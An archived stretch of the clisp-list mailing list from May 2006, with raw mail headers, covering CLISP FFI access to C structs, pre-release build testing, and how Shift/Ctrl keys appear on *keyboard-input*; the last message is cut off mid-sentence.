uid 60001); 15 May 2006 20:30:34 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Date:From:Subject:To:MIME-Version:Content-Type; b=pjw7eaNYVVTXmEXs+JoOeXMvikwooMvMkJHdtzfKsZXV/OqpYGAD+sK1fRr13uf1Njbbn1HNhuNTVkwHKtoTss38up6Fs/2WW2YBvu0R2A2vzsaDvU3MLtnMGex/0oUHUQmATZXCwI0BmTYNhEKtlUvpeAaCkeYMmOeBGHJKBsY= ; Message-ID: <20060515203034.27443.qmail@web81210.mail.mud.yahoo.com> From: Will To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Accessing C structures w/ FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 02:26:59 2006 X-Original-Date: Mon, 15 May 2006 13:30:34 -0700 (PDT) ---CLISP version 2.38 (2006-01-24) --- I'm having a bit of difficulty accessing a C structure from CLISP using the FFI. I want to use a structure defined in a C shared library as the means to marshal data from CLISP to C and vice versa. My C code looks like the following and is built into a shared library for CLISP to access. ---------------------------------------- typedef struct { int n; double *vals; double *dot_vals; } system_variables; system_variables sys_var; ---------------------------------------- The corresponding Lisp code is ---------------------------------------- (use-package "FFI") (ffi:default-foreign-language :stdc) ; define the type (ffi:def-c-struct system_variables (n ffi:int) (vals (ffi:c-array-ptr ffi:double-float)) (dot_vals (ffi:c-array-ptr ffi:double-float))) ; define the variable (ffi:def-c-var sys_var (:library "test_lib.so") (:name "sys_var") (:type (ffi:c-struct system_variables))) ---------------------------------------- Typing "sys_var" at the CLISP prompt displays the structure #S(SYSTEM_VARIABLES :N NIL :VALS NIL :DOT_VALS NIL) However, (setf (system_variables-n sys_var) 3) fails to actually change the value of n, and if I call a C function to set the value of n to 3, CLISP still displays the structure as above. I can modify and access the structure by calling C functions, but I can't seem to manipulate the variable in Lisp. I tried changing the last line of the variable definition to (:type (ffi:c-ptr system_variables)), which resembles the example in section 31.9 of the CLISP implementation notes, but I don't see any way to access or manipulate the fields. Typing "sys_var" at the CLISP prompt causes a segmentation fault, which isn't very helpful. I can call "c-var-address" and "c-var-object" on sys_var, but I can't tell where to go from there. Any help would be appreciated. Regards, Will From Joerg-Cyril.Hoehle@t-systems.com Fri May 19 02:58:51 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh1kF-0001g1-99 for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 02:58:07 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fh1kE-0008Lg-4E for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 02:58:06 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh1kD-0005t1-8o for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 02:58:06 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 11:56:55 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 May 2006 11:56:55 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] please help preprare new releases of CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 02:59:15 2006 X-Original-Date: Fri, 19 May 2006 11:56:43 +0200 Don Cohen writes: >Now maybe I can try to build a current CVS clisp. >It would be useful to mark states that are thought to be relatively >stable and buildable. Do you mean "mark releases" or snapshots of CVS? As far as releases, 2.39 seems like a perfect candidate for "stable": When you look at the ChangeLog or NEWS, you see that there have been only bugfixes, except from the MS-windows I/O speed improvements and some SAVEINITMEM change. http://clisp.cvs.sourceforge.net/*checkout*/clisp/clisp/src/NEWS Pro release: o MacOS non-blocking socket fix - enough reason on its own for a release? o sigsegv fixes However, time is not ripe for a release IMHO. YMMV: 1. There are several portabiliy bugs open. 2. I don't have access to a compile farm (firewall). The minimal thing to do prior to release is to test CVS whether it builds an passes tests on a lot more platforms than my MS-VC6 and Linux/i386 builds (and Yaroslav's mingw, and Dave's Fedora Core etc.). I'd really appreciate if users with access to some compile farm (either sourceforge or whatever is under the Sun) would build and test CLISP now and then on a lot of different architectures and report errors. Who volunteers? BTW, providing patches is even better than reporting errors :-) 3. Beside bug-fixes, it would be nice to stabilize recent features. The one I think about in this context is the January discussion about the SAVEINITMEM executable file command line arguments. I haven't followed that closely, but it seems to me there were open suggestions about how to improve the current state (if needed?). Thanks for reporting the broken links, BTW. Although we could check links ourselves, there are so many things we could do ourselves (given a lot of time) that I really appreciate every little report and especially patches. Sam Steingold went ahead and did changes to the home page. Please report if there's still something broken or whatever flows to your mind regarding CLISP. Regards, Jorg Hohle. From kavenchuk@jenty.by Fri May 19 03:42:10 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh2Qq-0006P7-Ph for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 03:42:08 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fh2Qq-0003Lb-SU for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 03:42:08 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh2Qp-0000np-Ei for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 03:42:08 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id K9W3S3DA; Fri, 19 May 2006 13:44:21 +0300 Message-ID: <446DA164.4010004@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1 MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] please help preprare new releases of CLISP References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 03:43:09 2006 X-Original-Date: Fri, 19 May 2006 13:43:48 +0300 Hoehle, Joerg-Cyril wrote: > 2. I don't have access to a compile farm (firewall). I too. -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Fri May 19 04:20:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh322-0002LQ-Ks for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:20:34 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh321-0001FH-0k for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:20:34 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 19 May 2006 13:20:22 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 May 2006 13:20:22 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: perpetualstranger-clisp@yahoo.com Subject: Re: [clisp-list] Accessing C structures w/ FFI MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 04:21:22 2006 X-Original-Date: Fri, 19 May 2006 13:20:18 +0200 Will wrote: >(ffi:def-c-struct system_variables > (n ffi:int) > (vals (ffi:c-array-ptr ffi:double-float)) > (dot_vals (ffi:c-array-ptr ffi:double-float))) >However, (setf (system_variables-n sys_var) 3) fails to >actually change the value of n. Please try (setf (slot sys_var 'n) 3) The C struct is not changed because (seft system_variables-n) operates solely on the CLOS instance. What happens is that the C-struct is converted once to a Lisp object. From then on you are in the Lisp world. Changes are not reflected to the C world. To affect the C world, you must strictly stick to the concept of foreign places. sys_var denotes a place (ffi:slot sys_var) denotes a place (identity sys_var) denotes a CLOS instance, converted from the foreign struct (system_variables-n sys_var) denotes a Lisp object, similarly. I.e., as soon as you apply a function to a place, conversion to Lisp takes places. Only macros such as FFI:SLOT which are documented to operate on places produce a new place (or modify the C data associated with the place). As you see, it's different from the concept where a CLOS instance mirrors a foreign location in a proxy-like way. With the FFI, there's no mirror, just a one-time snapshot copy. BTW, if you don't care about the CLOS class (I typically don't), there's less overhead in using (def-c-type system_variables (c-struct list [or array] ...)) instead of def-c-struct This will produce a list [or array] of the three slots, instead of a CLOS object. Regards, Jorg Hohle. From ampy@ich.dvo.ru Fri May 19 04:33:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh3ET-0003fn-BP for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:33:25 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh3ES-0004kn-8m for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:33:25 -0700 Received: from lenin (host-212-16-220-150.hosts.vtc.ru [212.16.220.150]) by vtc.ru (8.13.4/8.13.4) with ESMTP id k4JBX3ep031817; Fri, 19 May 2006 22:33:04 +1100 Authentication-Results: vtc.ru from=ampy@ich.dvo.ru; sender-id=neutral; spf=neutral From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <10311452968.20060519222000@ich.dvo.ru> To: "Jack Unrue" CC: clisp-list@lists.sourceforge.net, eleuteri@myrealbox.com Subject: Re[2]: [clisp-list] Weird behaviour on keyboard reading In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 04:34:01 2006 X-Original-Date: Fri, 19 May 2006 22:20:00 +1100 > I don't think read-char-no-hang is intended to be stretched so > far as to return entities that are not considered characters, and > thus Shift/Ctrl would never appear in an input stream. It is not read-char-no-hang what's stretched, it's ok, the *keyboard-input* stream is such a special kind of stream. -- Best regards, Arseny From ampy@ich.dvo.ru Fri May 19 04:33:31 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh3EU-0003fp-7G for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:33:26 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh3ES-0004ko-8j for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:33:26 -0700 Received: from lenin (host-212-16-220-150.hosts.vtc.ru [212.16.220.150]) by vtc.ru (8.13.4/8.13.4) with ESMTP id k4JBX3er031817; Fri, 19 May 2006 22:33:10 +1100 Authentication-Results: vtc.ru from=ampy@ich.dvo.ru; sender-id=neutral; spf=neutral From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <7512132281.20060519223119@ich.dvo.ru> To: "David Picon Alvarez" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Weird behaviour on keyboard reading In-reply-To: <000b01c679d3$338d33b0$0302a8c0@enterprise> References: <000b01c679d3$338d33b0$0302a8c0@enterprise> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 04:34:03 2006 X-Original-Date: Fri, 19 May 2006 22:31:19 +1100 > Behaves in a counterintuitive (to me) way. I think, to use *keyboard-input* on win32 you should enter "random screen access" mode first (use screen:make-window function) and also use ext:with-keyboard form (with-keyboard should enable such a mode alone, I think, but it does not). This is not accented in impnotes (I bet, you read it, as you know about *keyboard-input*), but I believe this would be a right way to use *keyboard-input*. Line editing mode is hard to combine with this single keystroke handling. -- Best regards, Arseny From ampy@ich.dvo.ru Fri May 19 04:33:31 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh3EU-0003fq-3w for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:33:26 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fh3EU-0007Tr-5D for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:33:26 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh3ES-00076D-9d for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 04:33:26 -0700 Received: from lenin (host-212-16-220-150.hosts.vtc.ru [212.16.220.150]) by vtc.ru (8.13.4/8.13.4) with ESMTP id k4JBX3eq031817; Fri, 19 May 2006 22:33:08 +1100 Authentication-Results: vtc.ru from=ampy@ich.dvo.ru; sender-id=neutral; spf=neutral From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <4211903906.20060519222731@ich.dvo.ru> To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, eleuteri@myrealbox.com Subject: Re[2]: [clisp-list] Weird behaviour on keyboard reading In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 04:34:04 2006 X-Original-Date: Fri, 19 May 2006 22:27:31 +1100 > I'd like MS-Windows users to comment upon whether SHIFT / CTRL etc. > should generate individual events, instead of an event only when > combined with another key, e.g. #\a? My opinion is "no", because > it's not the case with raw mode on UNIX (which is what I'm used to): > there, shift / ctrl only appear when combined with regular keys. > Identical behaviour across CLISP platforms seems a good goal. Well, UNIX is known to be more limited regarding user interface than Windows. My vote is 'yes', you never know what users will want. What if clisp will be used for game programming? BTW, compatibility with UNIX is the main reason why I didn't add colors to SCREEN module. Now I think different - each platform should allow all its capabilities, but the intersection should be common and well designated. -- Best regards, Arseny From jdunrue@gmail.com Fri May 19 08:49:28 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh7EG-0000C0-1m for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 08:49:28 -0700 Received: from wx-out-0102.google.com ([66.249.82.192]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh7EF-0003LZ-0J for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 08:49:28 -0700 Received: by wx-out-0102.google.com with SMTP id s10so197801wxc for ; Fri, 19 May 2006 08:49:25 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=Rn50zMZxKepFh2mc1+pqa/bVdHfhqRR82WFwpISELGfgSbXFUAoo47ENJLxg4jwilHVGaj/muDkt3JesYiqOsjZHKsH34sjw8EqJUjoC8kDqrHtwhCCPkzEHiYvOANbyboXn0T6/IbZMTuMfkezKo37Kk0QpQTdfIlrnrcwl10w= Received: by 10.70.109.19 with SMTP id h19mr1635546wxc; Fri, 19 May 2006 08:49:24 -0700 (PDT) Received: by 10.70.14.20 with HTTP; Fri, 19 May 2006 08:49:23 -0700 (PDT) Message-ID: From: "Jack Unrue" To: "Arseny Slobodyuk" Subject: Re: Re[2]: [clisp-list] Weird behaviour on keyboard reading Cc: clisp-list@lists.sourceforge.net, eleuteri@myrealbox.com In-Reply-To: <10311452968.20060519222000@ich.dvo.ru> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <10311452968.20060519222000@ich.dvo.ru> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 08:50:05 2006 X-Original-Date: Fri, 19 May 2006 09:49:23 -0600 On 5/19/06, Arseny Slobodyuk wrote: > > > I don't think read-char-no-hang is intended to be stretched so > > far as to return entities that are not considered characters, and > > thus Shift/Ctrl would never appear in an input stream. > > It is not read-char-no-hang what's stretched, it's ok, the > *keyboard-input* stream is such a special kind of stream. OK. I misunderstood the issue, thanks for clarifying. --=20 Jack Unrue From Joerg-Cyril.Hoehle@t-systems.com Fri May 19 10:17:33 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh8bU-0002At-Dv for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 10:17:32 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh8bS-0006Fm-Rh for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 10:17:32 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 19:17:24 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 May 2006 19:17:24 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Weird behaviour on keyboard reading MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 10:18:05 2006 X-Original-Date: Fri, 19 May 2006 19:17:20 +0200 Jack Unrue wrote: >On 5/19/06, Arseny Slobodyuk wrote: >> > I don't think read-char-no-hang is intended to be stretched so >> > far as to return entities that are not considered characters, and >> > thus Shift/Ctrl would never appear in an input stream. >> >> It is not read-char-no-hang what's stretched, it's ok, the >> *keyboard-input* stream is such a special kind of stream. > >OK. I misunderstood the issue, thanks for clarifying. IIRC Pascal Bourguignon filed a bug report that READ-CHAR (and thus = READ-CHAR-NO-HANG etc.) may return something that's not a CHARACTER. = This can happen when used with *KEYBOARD-INPUT*: INPUT-CHARACTER is not = of type CHARACTER, as impnotes documents. So indeed, one can consider READ-CHAR to be stretched in CLISP. However, I find this point irrelevant. When using WITH-KEYBOARD, which = is clearly non-portable, assumptions about portable code do not hold. Of course, this is debatable. I'm not worried by having READ-CHAR return a non-character on weird = kinds of streams. Maybe it's bad design? From a historc perspective, it could be argued that CLISP's = INPUT-CHARACTER is heritage from CLtL1 where character with BITs and = FONT existed. This thing has been removed from ANSI-CL. So the = question becomes: did CLtL1 consider the shift key as a character? But = does CLtL1 matter these days? Back to the bug at hand, the current summary is: o portability is valuable o using platform specific features is equally valuable One way to reconcile both may be via Jack Unrue's argument that if you = want platform specific behaviour, call platform specific API functions. = Not functions from CLISP which try to be available (with variations) = on all platforms. OTOH, documentation of the different behaviour may be good enough. But = I fear portability bugs for software developed on UNIX, which errors = out on MS-Windows when receiving individual shift or ctrl key events. = Or from MS-Windows to UNIX, when the software says "press shift key to = continue..." (which remembers me of a pinball/flipper game on C64 = which IIRC used the shift keys -- which CLISP does not differentiate ;) Regards, J=F6rg H=F6hle. From dave@vyatta.com Fri May 19 10:49:21 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fh96H-0005yh-9y for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 10:49:21 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fh96H-0003uO-Eg for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 10:49:21 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fh96H-0007OV-40 for clisp-list@lists.sourceforge.net; Fri, 19 May 2006 10:49:21 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 9B74310E04DE; Fri, 19 May 2006 10:49:17 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30052-01; Fri, 19 May 2006 10:49:17 -0700 (PDT) Received: from [10.0.0.85] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id A32B610E04D9; Fri, 19 May 2006 10:49:16 -0700 (PDT) Message-ID: <446E051A.7020201@vyatta.com> From: Dave Roberts User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Weird behaviour on keyboard reading References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-2.586 tagged_above=-10 required=6.6 autolearn=ham tests=[AWL=0.013, BAYES_00=-2.599] X-Spam-Score: -2.586 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 19 10:50:15 2006 X-Original-Date: Fri, 19 May 2006 10:49:14 -0700 Hoehle, Joerg-Cyril wrote: > Jack Unrue wrote: >> On 5/19/06, Arseny Slobodyuk wrote: >>>> I don't think read-char-no-hang is intended to be stretched so >>>> far as to return entities that are not considered characters, and >>>> thus Shift/Ctrl would never appear in an input stream. >>> It is not read-char-no-hang what's stretched, it's ok, the >>> *keyboard-input* stream is such a special kind of stream. >> OK. I misunderstood the issue, thanks for clarifying. > > IIRC Pascal Bourguignon filed a bug report that READ-CHAR (and thus READ-CHAR-NO-HANG etc.) may return something that's not a CHARACTER. This can happen when used with *KEYBOARD-INPUT*: INPUT-CHARACTER is not of type CHARACTER, as impnotes documents. > So indeed, one can consider READ-CHAR to be stretched in CLISP. > However, I find this point irrelevant. When using WITH-KEYBOARD, which is clearly non-portable, assumptions about portable code do not hold. > Of course, this is debatable. > I'm not worried by having READ-CHAR return a non-character on weird kinds of streams. Maybe it's bad design? > > From a historc perspective, it could be argued that CLISP's INPUT-CHARACTER is heritage from CLtL1 where character with BITs and FONT existed. This thing has been removed from ANSI-CL. So the question becomes: did CLtL1 consider the shift key as a character? But does CLtL1 matter these days? > > Back to the bug at hand, the current summary is: > o portability is valuable > o using platform specific features is equally valuable > > One way to reconcile both may be via Jack Unrue's argument that if you want platform specific behaviour, call platform specific API functions. Not functions from CLISP which try to be available (with variations) on all platforms. > OTOH, documentation of the different behaviour may be good enough. But I fear portability bugs for software developed on UNIX, which errors out on MS-Windows when receiving individual shift or ctrl key events. Or from MS-Windows to UNIX, when the software says "press shift key to continue..." (which remembers me of a pinball/flipper game on C64 which IIRC used the shift keys -- which CLISP does not differentiate ;) IMO, the WITH-KEYBOARD/*KEYBOARD-INPUT* design is a bit strange as an interface. Things seem very overloaded with standard methods returning non-standard data types when wrapped with WITH-KEYBOARD. I'd rather have a method on *STANDARD-INPUT* or *TERMINAL-IO* called RAW-MODE (perhaps a SETF-able boolean property) that puts the stream into raw mode and simply allows raw access to characters, insuring that any line discipline on the terminal is disabled. On UNIX, this would turn off all buffering, and special terminal character processing (C-C, C-Z, C-\, etc.). On Windows, this would basically just. I'd also like a IS-A-TTY-P method to operate as expected on *STANDARD-INPUT/OUTPUT* and *TERMINAL-IO*. I would have a WITH-RAW-TERMINAL macro that wraps that to set/unset the raw mode. I like this better than just WITH-KEYBOARD because WITH-KEYBOARD forces the terminal into raw mode for a whole branch of the call-graph, where sometimes it's nice to be able to go into/out-of raw mode at various places in the program. Then, I'd like a layer above that which handles Termios processing. Right now, that's on by default in WITH-KEYBOARD mode, which is nice sometimes, but a bother at others. Perhaps the user creates a TERMIOS object and gives it a stream to process, then pulls characters out the TERMIOS object. The Termios object would then provide a bunch of methods for handling cursor movement, clearing lines, etc., effectively removing any need for the programmer to have to deal with the abstract terminal. Then, for platforms 